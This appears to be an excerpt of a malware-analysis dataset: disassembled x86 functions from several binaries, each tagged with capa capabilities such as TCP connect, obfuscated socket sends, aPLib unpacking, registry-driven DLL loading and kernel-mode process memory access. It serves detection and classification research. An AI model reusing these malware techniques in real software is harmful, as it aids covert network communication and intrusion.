joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4030a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - reloc.ntdll.dll_ZwClose], ax
lea eax, [ebp - 0x20e]
push eax
mov esi, ecx
mov dword [ebp - 0x214], 0
call fcn.00408690
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx ecx, word [ebp - reloc.ntdll.dll_ZwClose]
sub ecx, 0x41
lea edx, [ebp - 0x214]
call fcn.00403290
mov ecx, dword [ebp - 0x214]
call fcn.00403380
cmp eax, 0xffffffff
jne 0x403126
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
mov edx, esi
mov ecx, eax
call fcn.00402f70
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404aaa
mov esp, ebp
pop ebp
ret

Function at 0x403140
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x64
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1ff
xor esi, esi
lea eax, [ebp - 0x207]
push esi
push eax
mov byte [ebp - 0x208], 0
call fcn.00408690
add esp, 0xc
cmp ebx, 0xffffffff
je 0x4031fc
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0x200
lea eax, [ebp - 0x208]
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x21c], xmm0
movq qword [ebp - 0x214], xmm0
push ebx
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4031fc
mov eax, dword [ebp - 0x42]
add eax, dword [ebp - 0x3e]
mov ecx, dword [ebp - 0xe]
cmovne esi, eax
mov eax, dword [ebp - 0x32]
add eax, dword [ebp - 0x2e]
cmp eax, esi
cmova esi, eax
mov eax, dword [ebp - 0x22]
add eax, dword [ebp - 0x1e]
cmp eax, esi
cmova esi, eax
add ecx, dword [ebp - 0x12]
cmp ecx, esi
cmova esi, ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404aaa
mov esp, ebp
pop ebp
ret

Function at 0x403220
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
xor eax, eax
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x18], xmm0
movq qword [ebp - 0x10], xmm0
mov dword [ebp - 8], 0
cmp ecx, 0xffffffff
je 0x40327a
shld eax, edx, 9
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
shl eax, 9
push eax
push esi
shl edx, 9
push ecx
mov dword [ebp - 0x14], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
Function at 0x404090
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [ebp - 0x808]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
mov dword [ebp - 0x80c], eax
lea eax, [ebp - 0x9b0]
push eax
push 0x101
mov dword [ebp - 0x9b4], edx
mov ebx, ecx
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4040f5
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x4040e2
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404135
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x80c], eax
push 4
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x40418e
mov eax, dword [eax + 0xc]
push dword [ebp - 0x9b4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x818], eax
mov eax, 2
mov word [ebp - reloc.ntdll.dll_ZwClose], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - reloc.ntdll.dll_ZwClose], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40418e
mov esi, 1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
test ecx, ecx
je 0x40419d
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404aaa
mov esp, ebp
pop ebp
ret

Function at 0x404320
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x4043a8
push edi
mov edi, dword [ebp + 8]
xor eax, eax
test edi, edi
jle 0x404348
nop
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x404340
lea eax, [edi + 7]
push eax
call fcn.004061d7
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [0x418f10]
mov dword [ecx + 2], eax
mov al, byte [0x418f14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.004092f0
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push 0
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40439e
mov ecx, 1
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.004065cb
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404750
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe24
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x610]
push 0
push eax
mov dword [ebp - 0xe20], edx
mov ebx, ecx
call fcn.00408690
add esp, 0xc
lea eax, [ebp - 0x610]
push ebx
push 0x1ff
push eax
call fcn.00404bef
mov ecx, ebx
add esp, 0xc
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4047a0
sub ecx, edx
sar ecx, 1
lea edi, [ebp - 0x60e]
mov esi, 0x41a920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 2]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x4047c7
sub ebx, ecx
sar ebx, 1
push 0x10000
lea ebx, [ebx*2 + 0x202]
call fcn.00405ab7
add esp, 4
mov esi, eax
push 0x10000
push 0
push esi
call fcn.00408690
add esp, 0xc
xor eax, eax
push 0x7fe
push eax
mov word [ebp - reloc.ntdll.dll_ZwClose], ax
lea eax, [ebp - 0xe0e]
push eax
mov dword [ebp - 0xe1c], 0x10000
call fcn.00408690
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - reloc.ntdll.dll_ZwClose], ax
lea eax, [ebp - 0x20e]
xor edi, edi
push eax
mov dword [ebp - 0xe18], 0
mov dword [ebp - 0xe14], edi
call fcn.00408690
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xe20]
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe18]
push eax
call fcn.00404090
add esp, 8
test eax, eax
je 0x40494e
lea eax, [ebp - 0xe10]
push eax
push ebx
lea eax, [ebp - 0x610]
mov ebx, 0xbba
push eax
mov edx, ebx
lea ecx, [ebp - 0xe18]
call fcn.004041b0
add esp, 0xc
test eax, eax
je 0x40494e
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe1c]
push eax
push esi
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.004043b0
add esp, 0xc
test eax, eax
je 0x40494e
cmp word [ebp - reloc.ntdll.dll_ZwClose], bx
jne 0x40494e
cmp dword [ebp - 0xe1c], edi
je 0x40494e
cmp byte [esi], 0
jne 0x40494e
push 0x41a1a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404c4b
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x416de4
push eax
lea eax, [ebp - 0xe14]
push eax
mov dword [ebp - 0xe14], edi
call fcn.00404e42
add esp, 0xc
cmp dword [ebp - 0xe14], edi
je 0x404949
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.00404980
mov edi, 1
test esi, esi
je 0x40495b
push esi
call fcn.00405b49
add esp, 4
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x40496c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
Function at 0x4acf89
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.004ad008
jae 0x4acf95
xor ecx, ecx
call fcn.004ad008
jae 0x4acfbf
xor eax, eax
call fcn.004ad008
jae 0x4acfd0
mov al, 0x10
call fcn.004ad008
adc al, al
jae 0x4acfb1
jne 0x4acffd
stosb byte es:[edi], al
jmp 0x4acf96
call fcn.004ad014
dec ecx
loop 0x4acfdc
mov eax, ebp
call fcn.004ad012
jmp 0x4acffe
lodsb al, byte [esi]
shr eax, 1
je 0x4ad024
adc ecx, 2
mov ebp, eax
jmp 0x4acffe
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.004ad012
cmp eax, 0x7d00
jae 0x4acffc
cmp eax, 0x500
jae 0x4acffd
cmp eax, 0x7f
ja 0x4acffe
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4acf96
pop ebp
ret 8

Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret
Function at 0x97611b
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x97613b
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x976127
add dl, dl
jne 0x976146
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x976197
xor eax, eax
add dl, dl
jne 0x976153
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x976238
add dl, dl
jne 0x976162
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x97616d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x976178
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x976183
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x97618d
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x976132
mov eax, 1
add dl, dl
jne 0x9761a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9761b0
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x97619c
sub eax, ebx
mov ebx, 1
jne 0x9761e3
mov ecx, 1
add dl, dl
jne 0x9761c9
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9761d4
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9761c0
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x976132
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9761fa
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x976205
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9761f1
cmp eax, 0x7d00
jae 0x976228
cmp eax, 0x500
jb 0x976223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x976132
cmp eax, 0x7f
ja 0x97622b
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x976132
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x976259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x976132
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x12bf0
Capabilities:
Find process by pid

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.ntoskrnl.exe_PsLookupProcessByProcessId
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jl 0x12c2f
mov edx, dword [ebp - 0xc]
push edx
call fcn.00012b90
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x12d00
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x12d19
xor eax, eax
jmp 0x12e3b
mov ecx, dword [ebp - 0x28]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x12d2e
xor eax, eax
jmp 0x12e3b
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0x3c], 0x100000
jle 0x12d41
xor eax, eax
jmp 0x12e3b
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 4], edx
jne 0x12d56
xor eax, eax
jmp 0x12e3b
mov eax, dword [ebp - 4]
cmp dword [eax], 0x4550
je 0x12d68
xor eax, eax
jmp 0x12e3b
mov ecx, dword [ebp - 4]
add ecx, 0x78
mov dword [ebp - 0xc], ecx
jne 0x12d7a
xor eax, eax
jmp 0x12e3b
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
jne 0x12d9d
xor eax, eax
jmp 0x12e3b
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], 0
jmp 0x12dd3
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 8]
cmp eax, dword [edx + 0x18]
jae 0x12e39
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
movsx eax, word [edx + ecx*2]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + ecx*4]
cmp eax, dword [ebp - 0x1c]
jb 0x12e0a
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp dword [eax + edx*4], ecx
jb 0x12e37
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
push ecx
call sub.ntoskrnl.exe_strcmp
add esp, 8
test eax, eax
jne 0x12e37
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x12e3b
jmp 0x12dca
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x12e50
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0xb
call dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x14], 0
je 0x12e81
cmp dword [ebp - 0x14], 0x100000
jbe 0x12e88
xor eax, eax
jmp 0x12f75
push 0x73745553
mov edx, dword [ebp - 0x14]
add edx, 4
push edx
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x12eac
xor eax, eax
jmp 0x12f75
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0xb
call dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
imul ecx, ecx, 0x11c
add ecx, 4
cmp dword [ebp - 0x14], ecx
je 0x12eda
xor eax, eax
jmp 0x12f75
mov edx, dword [ebp - 4]
add edx, 4
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], 0
jmp 0x12ef5
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
cmp edx, dword [ecx]
jae 0x12f63
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x11c
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x11c
mov eax, dword [ebp - 0x10]
movzx edx, word [eax + edx + 0x1a]
lea eax, [ecx + edx + 0x1c]
push eax
call sub.ntoskrnl.exe__stricmp
add esp, 8
test eax, eax
jne 0x12f61
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x11c
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx + 8]
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], 0
je 0x12f5f
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x11c
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + ecx + 0xc]
mov dword [edx], ecx
jmp 0x12f63
jmp 0x12eec
push 0x73745553
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 8
Function at 0x13020
Capabilities:
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x28], 0
xor eax, eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [ebp - 0x18], 0x18
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0x40
lea eax, [ebp - 0x50]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0
push 0
push 0x20
push 1
push 3
push 0
push 0
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x18]
push edx
push 1
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jge 0x130a3
mov eax, dword [ebp - 0x44]
jmp 0x13166
push 5
push 0x18
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jge 0x130d4
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp - 0x44]
jmp 0x13166
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x48], edx
push 0x73745553
mov eax, dword [ebp - 0x48]
push eax
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x13105
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, 0xc00000a0
jmp 0x13166
push 0
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
lea edx, [ebp - 0x58]
push edx
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [ebp - 0x44], 0
jge 0x1314e
push 0x73745553
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 0x44]
jmp 0x13166
cmp dword [ebp + 0xc], 0
je 0x1315c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x48]
mov dword [eax], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x20]
mov dword [edx], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x13190
Capabilities:
Attach user process memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x19338
push 0x128a4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffc8
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x38], 0
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov edx, dword [ebp + 8]
add edx, dword [0x1b9f4]
mov eax, dword [edx]
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
movzx ecx, al
test ecx, ecx
jne 0x13203
mov dword [ebp - 0x38], 0xc0000141
jmp 0x13244
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + 0x40]
mov ecx, dword [edx + 0x44]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
movzx eax, al
test eax, eax
jne 0x13244
mov ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x44]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
movzx eax, al
test eax, eax
jne 0x13244
mov dword [ebp - 0x38], 0xc0000141
mov dword [ebp - 4], 0xffffffff
jmp 0x1326d
cmp dword [ebp - 0x38], 0
jl 0x132c9
movzx edx, word [ebp - 0x40]
shr edx, 1
cmp edx, dword [ebp + 0x10]
jbe 0x132a5
mov eax, dword [ebp + 0x10]
lea ecx, [eax + eax - 2]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp + 0xc]
push eax
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov word [edx + ecx*2 - 2], 0
jmp 0x132c9
movzx eax, word [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
movzx eax, word [ebp - 0x40]
shr eax, 1
mov ecx, dword [ebp + 0xc]
mov word [ecx + eax*2], 0
lea edx, [ebp - 0x30]
push edx
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc